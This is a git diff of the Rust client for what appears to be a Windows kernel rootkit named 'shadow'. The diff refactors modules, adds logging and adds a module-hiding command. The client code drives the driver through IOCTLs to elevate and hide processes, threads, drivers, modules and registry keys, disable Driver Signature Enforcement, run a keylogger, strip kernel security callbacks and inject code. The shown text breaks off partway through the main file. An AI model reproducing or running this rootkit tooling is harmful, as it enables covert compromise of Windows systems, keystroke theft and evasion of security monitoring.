diff --git a/README.md b/README.md index e9bd2cb..7262c04 100644 --- a/README.md +++ b/README.md @@ -174,3 +174,4 @@ These are some of the features that will be added, but there are many more on th - https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319 - https://github.com/mirror/reactos - https://github.com/Kharos102/ReadWriteDriverSample +- https://imphash.medium.com/windows-process-internals-a-few-concepts-to-know-before-jumping-on-memory-forensics-part-4-16c47b89e826 \ No newline at end of file diff --git a/client/.gitignore b/client/.gitignore index d37771b..23cbb14 100644 --- a/client/.gitignore +++ b/client/.gitignore @@ -1,2 +1,2 @@ /target -/src/memory.rs \ No newline at end of file +/src/modules/memory.rs \ No newline at end of file diff --git a/client/Cargo.lock b/client/Cargo.lock index 0eb7b0a..e64d875 100644 --- a/client/Cargo.lock +++ b/client/Cargo.lock @@ -2,6 +2,30 @@ # It is not intended for manual editing. version = 3 +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + [[package]] name = "anstream" version = "0.6.14" @@ -38,7 +62,7 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391" dependencies = [ - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -48,7 +72,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19" dependencies = [ "anstyle", - "windows-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "autocfg" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0" + +[[package]] +name = "bumpalo" +version = "3.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c" + +[[package]] +name = "cc" +version = "1.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b62ac837cdb5cb22e10a256099b4fc502b1dfe560cb282963a974d7abd80e476" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "wasm-bindgen", + "windows-targets 0.52.5", ] [[package]] @@ -95,10 +160,13 @@ checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70" name = "client" version = "0.1.0" dependencies = [ + "chrono", "clap", + "colored", + "env_logger", + "log", "shared", - "winapi", - "windows-sys", + "windows-sys 0.52.0", ] [[package]] @@ -107,18 +175,119 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422" +[[package]] +name = "colored" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbf2150cce219b664a8a70df7a1f933836724b503f8a413af9365b4dcc4d90b8" +dependencies = [ + "lazy_static", + "windows-sys 0.48.0", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "env_filter" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f2c92ceda6ceec50f43169f9ee8424fe2db276791afde7b2cd8bc084cb376ab" +dependencies = [ + "log", + "regex", +] + +[[package]] +name = "env_logger" +version = "0.11.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13fa619b91fb2381732789fc5de83b45675e882f66623b7d8cb4f643017018d" +dependencies = [ + "anstream", + "anstyle", + "env_filter", + "humantime", + "log", +] + [[package]] name = "heck" version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" +[[package]] +name = "humantime" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" + +[[package]] +name = "iana-time-zone" +version = "0.1.60" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + [[package]] name = "is_terminal_polyfill" version = "1.70.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800" +[[package]] +name = "js-sys" +version = "0.3.70" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.158" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439" + +[[package]] +name = "log" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" + +[[package]] +name = "memchr" +version = "2.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" + [[package]] name = "ntapi" version = "0.4.1" @@ -128,6 +297,21 @@ dependencies = [ "winapi", ] +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + [[package]] name = "proc-macro2" version = "1.0.85" @@ -146,14 +330,49 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "regex" +version = "1.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b" + [[package]] name = "shared" version = "0.1.0" dependencies = [ "ntapi", - "windows-sys", + "windows-sys 0.52.0", ] +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + [[package]] name = "strsim" version = "0.11.1" @@ -183,6 +402,61 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" +[[package]] +name = "wasm-bindgen" +version = "0.2.93" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5" +dependencies = [ + "cfg-if", + "once_cell", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.93" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.93" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.93" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.93" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484" + [[package]] name = "winapi" version = "0.3.9" @@ -205,13 +479,46 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.5", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + [[package]] name = "windows-sys" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" dependencies = [ - "windows-targets", + "windows-targets 0.52.5", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", ] [[package]] @@ -220,28 +527,46 @@ version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", + "windows_aarch64_gnullvm 0.52.5", + "windows_aarch64_msvc 0.52.5", + "windows_i686_gnu 0.52.5", "windows_i686_gnullvm", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_i686_msvc 0.52.5", + "windows_x86_64_gnu 0.52.5", + "windows_x86_64_gnullvm 0.52.5", + "windows_x86_64_msvc 0.52.5", ] +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + [[package]] name = "windows_aarch64_gnullvm" version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + [[package]] name = "windows_aarch64_msvc" version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + [[package]] name = "windows_i686_gnu" version = "0.52.5" @@ -254,24 +579,48 @@ version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + [[package]] name = "windows_i686_msvc" version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + [[package]] name = "windows_x86_64_gnu" version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + [[package]] name = "windows_x86_64_gnullvm" version = "0.52.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + [[package]] name = "windows_x86_64_msvc" version = "0.52.5" diff --git a/client/Cargo.toml b/client/Cargo.toml index f635c14..31287d3 100644 --- a/client/Cargo.toml +++ b/client/Cargo.toml @@ -5,9 +5,16 @@ edition = "2021" [dependencies] clap = { version = "4.5.6", features = ["derive"] } -winapi = "0.3.9" windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] } shared = { path = "../shared" } +log = "0.4.22" +env_logger = { version = "0.11.5" } +colored = "2.1.0" +chrono = "0.4.38" [features] -mapper = [] \ No newline at end of file +mapper = [] + +[profile.release] +strip = true +opt-level = "z" diff --git a/client/src/cli.rs b/client/src/cli.rs index e6a6eaf..5cb416a 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -1,6 +1,6 @@ #![allow(non_camel_case_types)] -use clap::{arg, Parser, Subcommand, ValueHint}; +use clap::{arg, Parser, Subcommand, ValueHint, ArgAction}; /// The main command-line interface struct. #[derive(Parser)] @@ -9,6 +9,10 @@ pub struct Cli { /// The command to be executed. #[command(subcommand)] pub command: Commands, + + /// Activate verbose mode (-v, -vv for additional levels) + #[arg(short, long, action = ArgAction::Count)] + pub verbose: u8, } /// Enum representing the available top-level commands. @@ -37,7 +41,7 @@ pub enum Commands { unhide: bool, /// Enumerate the drivers. - #[arg(long)] + #[arg(long, short)] list: bool, /// Name Driver @@ -58,12 +62,13 @@ pub enum Commands { #[command(subcommand)] sub_command: RegistryCommands }, + /// Operations related to Module. Module { - /// The process ID for enumerate modules. - #[arg(short, long, required = true)] - pid: u32, + #[command(subcommand)] + sub_command: ModuleCommands }, + /// Operations related to Callback. Callback { /// Enumerate callback. @@ -82,7 +87,7 @@ pub enum Commands { #[arg(long, short, required = true)] callback: Callbacks, - // Restore callback. + /// Restore callback. #[arg(long)] restore: Option, }, @@ -230,7 +235,7 @@ pub enum ProcessCommands { /// Lists protected or hidden processes Enumerate { /// Enumerate Processes. - #[arg(long, required = true)] + #[arg(long, short, required = true)] list: bool, // Types Enumerate #[arg(long, short, required = true)] @@ -263,6 +268,28 @@ pub enum MisCommands { }, } +/// Enum representing the subcommands for module operations. +#[derive(Subcommand)] +pub enum ModuleCommands { + /// Hide the module. + Hide { + /// The module to hide. + #[arg(short, long, required = true)] + module: String, + + /// The pid to module. + #[arg(short, long, required = true)] + pid: u32, + }, + + /// Enumerate modules. + Enumerate { + /// The process ID for enumerate modules. + #[arg(short, long, required = true)] + pid: u32, + } +} + /// Enum representing the subcommands for thread operations. #[derive(Subcommand)] pub enum ThreadCommands { diff --git a/client/src/driver.rs b/client/src/driver.rs deleted file mode 100644 index 789fb14..0000000 --- a/client/src/driver.rs +++ /dev/null @@ -1,147 +0,0 @@ -use { - core::mem::size_of, - shared::structs::{DriverInfo, TargetDriver, DSE}, - std::{ffi::c_void, ptr::null_mut}, - windows_sys::{ - w, - Win32::{ - Foundation::{ - CloseHandle, GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE - }, - Storage::FileSystem::{ - CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}, System::IO::DeviceIoControl - } - } -}; - -pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - let mut info_driver = TargetDriver { - name: name.to_string(), - enable - }; - let mut return_buffer = 0; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut info_driver as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Driver successfully hidden / unhidden") - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn enumerate_driver(ioctl_code: u32) { - let h_file = open_driver().expect("Failed to open driver"); - let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() }; - let mut return_buffer = 0; - let status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - null_mut(), - 0, - driver_info.as_mut_ptr() as *mut _, - (driver_info.len() * size_of::()) as u32, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - let total_module = return_buffer as usize / size_of::(); - println!("[+] Total modules: {}", total_module); - for i in driver_info.iter() { - if i.address > 0 { - let name = match String::from_utf16(&i.name) { - Ok(name) => name, - Err(err) => { - eprintln!("[!] UTF-16 decoding error: {:?}", err); - continue; - } - }; - println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name); - } - } - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn dse(ioctl_code: u32, enable: bool) { - let h_file = open_driver().expect("Failed to open driver"); - let status; - let mut return_buffer = 0; - let mut info_dse = DSE { - enable - }; - - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut info_dse as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - if enable { - println!("[+] Driver Signature Enforcement (DSE) Enabled"); - } else { - println!("[+] Driver Signature Enforcement (DSE) Disabled"); - } - - } - - unsafe { - CloseHandle(h_file); - }; -} - -pub fn open_driver() -> Result { - let h_file = unsafe { - CreateFileW( - w!("\\\\.\\shadow"), - GENERIC_READ | GENERIC_WRITE, - 0, - null_mut(), - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - 0 - ) - }; - - if h_file == INVALID_HANDLE_VALUE { - unsafe { println!("[!] CreateFileW Failed With Error: {:?}", GetLastError()) }; - return Err(()); - } - - Ok(h_file) -} diff --git a/client/src/keylogger.rs b/client/src/keylogger.rs deleted file mode 100644 index 511b34d..0000000 --- a/client/src/keylogger.rs +++ /dev/null @@ -1,38 +0,0 @@ -use { - std::{ffi::c_void, ptr::null_mut}, - windows_sys::Win32::System::IO::DeviceIoControl, - shared::structs::Keylogger, - crate::driver::open_driver, -}; - -pub fn keylogger(ioctl_code: u32, state: bool) { - let h_file = open_driver().expect("Failed open driver"); - let status; - let mut return_buffer = 0; - let mut keylogger = Keylogger { - enable: state - }; - status = unsafe { - DeviceIoControl( - h_file, - ioctl_code, - &mut keylogger as *mut _ as *mut c_void, - std::mem::size_of::() as u32, - null_mut(), - 0, - &mut return_buffer, - null_mut() - ) - }; - - if status == 0 { - eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - if state { - println!("[+] Keylogger start"); - } else { - println!("[+] Keylogger stop"); - } - - } -} diff --git a/client/src/main.rs b/client/src/main.rs index 319e703..0da8653 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -1,77 +1,88 @@ use { - cli::*, - clap::Parser, + cli::*, + log::*, + colored::*, + clap::Parser, + std::io::Write, + log::LevelFilter, shared::ioctls::*, - module::enumerate_module, - driver::{dse, enumerate_driver, unhide_hide_driver}, - keylogger::keylogger, - process::{ + env_logger::Builder, +}; +use modules::{ + callback::{enumerate_callback, remove_callback, restore_callback}, driver::{enumerate_driver, unhide_hide_driver}, injection::{injection_apc, injection_thread}, misc::{dse, keylogger}, module::{enumerate_module, hide_module}, process::{ elevate_process, enumerate_process, hide_unhide_process, signature_process, terminate_process - }, - thread::{enumerate_thread, hide_unhide_thread}, - callback::{enumerate_callback, remove_callback, restore_callback}, - injection::{injection_thread, injection_apc}, + }, thread::{enumerate_thread, hide_unhide_thread} }; #[cfg(not(feature = "mapper"))] -mod registry; -mod callback; -mod cli; -mod driver; -mod process; -mod keylogger; -mod thread; -mod injection; -mod module; -mod utils; - -#[cfg(not(feature = "mapper"))] -use { - registry::{registry_protection, registry_hide}, +use modules::{ + registry::{registry_protection, registry_hide_unhide}, process::protection_process, thread::protection_thread, }; +mod modules; +mod cli; +mod utils; + fn main() { let args = Cli::parse(); + let mut builder = Builder::new(); + let log_level = match args.verbose { + 0 => LevelFilter::Info, + _ => LevelFilter::Debug + }; + + builder.filter(None, log_level).format(|buf, record| { + let timestamp = chrono::Local::now().format("%Y-%m-%dT%H:%M:%S"); + let level = match record.level() { + Level::Error => "ERROR".red().bold(), + Level::Warn => "WARN ".yellow().bold(), + Level::Info => "INFO ".green(), + Level::Debug => "DEBUG".bright_black(), + Level::Trace => "TRACE".blue(), + }; + + writeln!(buf, "[{}] {} [shadow] {}", timestamp, level, record.args()) + }).init(); match &args.command { Commands::Process { sub_command } => match sub_command { ProcessCommands::Elevate { pid } => { - println!("[+] Elevate Process: {pid}"); + info!("Elevate Process: {pid}"); elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS); }, ProcessCommands::Hide { pid } => { - println!("[+] Hide Process: {pid}"); + info!("Hide Process: {pid}"); hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true); }, ProcessCommands::Unhide { pid } => { - println!("[+] UnHide Process: {pid}"); + info!("UnHide Process: {pid}"); hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false); }, ProcessCommands::Terminate { pid } => { - println!("[+] Terminate Process: {pid}"); + info!("Terminate Process: {pid}"); terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS); }, ProcessCommands::Signature { pid, pt, sg } => { - println!("[+] Signature Process: {pid}"); + info!("Signature Process: {pid}"); signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt); }, #[cfg(not(feature = "mapper"))] ProcessCommands::Protection { pid, add, remove } => { - println!("[+] Protection Process: {pid}"); + info!("Protection Process: {pid}"); if *add { protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true); } else if *remove { protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false); } else { - eprintln!("[-] No action provided"); + error!("No action provided"); } }, ProcessCommands::Enumerate { list, type_ } => { - println!("[+] Enumerate Process"); + info!("Enumerate Process"); if *list { enumerate_process(IOCTL_ENUMERATION_PROCESS, type_); } @@ -79,11 +90,11 @@ fn main() { }, Commands::Thread { sub_command } => match sub_command { ThreadCommands::Hide { tid } => { - println!("[+] Hide Thread: {tid}"); + info!("Hide Thread: {tid}"); hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true); }, ThreadCommands::Unhide { tid } => { - println!("[+] Unhide Thread: {tid}"); + info!("Unhide Thread: {tid}"); hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false); }, #[cfg(not(feature = "mapper"))] @@ -93,11 +104,11 @@ fn main() { } else if *remove { protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false); } else { - eprintln!("[-] No action provided"); + error!("No action provided"); } }, ThreadCommands::Enumerate { list, type_ } => { - println!("[+] Enumerate Thread"); + info!("Enumerate Thread"); if *list { enumerate_thread(IOCTL_ENUMERATION_THREAD, type_); } @@ -105,44 +116,44 @@ fn main() { }, Commands::Driver { hide, unhide, list, name } => { if *hide { - println!("[+] Hide Driver"); + info!("Hide Driver"); match name { Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true), None => { - eprintln!("[-] No action provided for driver."); + error!("No action provided for driver."); return; } } } else if *unhide { - println!("[+] Unhide Driver"); + info!("Unhide Driver"); match name { Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false), None => { - eprintln!("[-] No action provided for driver."); + error!("No action provided for driver."); return; } } } else if *list { - println!("[+] Enumerate Driver"); + info!("Enumerate Driver"); enumerate_driver(IOCTL_ENUMERATE_DRIVER); } }, Commands::Misc { sub_command } => match sub_command { MisCommands::DSE { disable, enable } => { if *enable { - println!("[+] Enable DSE"); + info!("Enable DSE"); dse(IOCTL_ENABLE_DSE, true); } else if *disable { - println!("[+] Disable DSE"); + info!("Disable DSE"); dse(IOCTL_ENABLE_DSE, false); } }, MisCommands::Keylogger { stop, start } => { if *start { - println!("[+] Start Keylogger"); + info!("Start Keylogger"); keylogger(IOCTL_KEYLOGGER, true); } else if *stop { - println!("[+] Stop Keylogger"); + info!("Stop Keylogger"); keylogger(IOCTL_KEYLOGGER, false); } }, @@ -152,7 +163,7 @@ fn main() { Commands::Registry { sub_command } => match sub_command { RegistryCommands::Protect { key, name, add, remove } => { if *add && *remove { - eprintln!("[-] Error: Both add and remove options cannot be specified at the same time"); + error!("Both add and remove options cannot be specified at the same time"); } else if *add { match name { Some(ref name) => { @@ -172,60 +183,65 @@ fn main() { } } } else { - eprintln!("[-] Error: Either add or remove must be specified"); + error!("Either add or remove must be specified"); } }, RegistryCommands::Hide { key, value } => { match value { Some(ref value) => { - registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true); + registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true); }, None => { - registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true); + registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true); } } } RegistryCommands::Unhide { key, value } => { match value { Some(ref value) => { - registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false); + registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false); }, None => { - registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false); + registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false); } } }, }, - Commands::Module { pid } => { - enumerate_module(IOCTL_ENUMERATE_MODULE, pid); + Commands::Module { sub_command } => match sub_command { + ModuleCommands::Hide { module, pid } => { + hide_module(IOCTL_HIDE_MODULE, module, *pid); + }, + ModuleCommands::Enumerate { pid } => { + enumerate_module(IOCTL_ENUMERATE_MODULE, pid); + } } Commands::Callback { list, enumerate ,remove, restore, callback } => { if *list { - println!("[+] Enumerate Callback"); + info!("Enumerate Callback"); enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback); return; } if *enumerate { - println!("[+] Enumerate Removed Callback"); + info!("Enumerate Removed Callback"); enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback); return; } match (remove, restore) { (Some(index), None) => { - println!("[+] Remove Callback: {index}"); + info!("Remove Callback: {index}"); remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback); }, (None, Some(index)) => { - println!("[+] Restore Callback: {index}"); + info!("Restore Callback: {index}"); restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback); 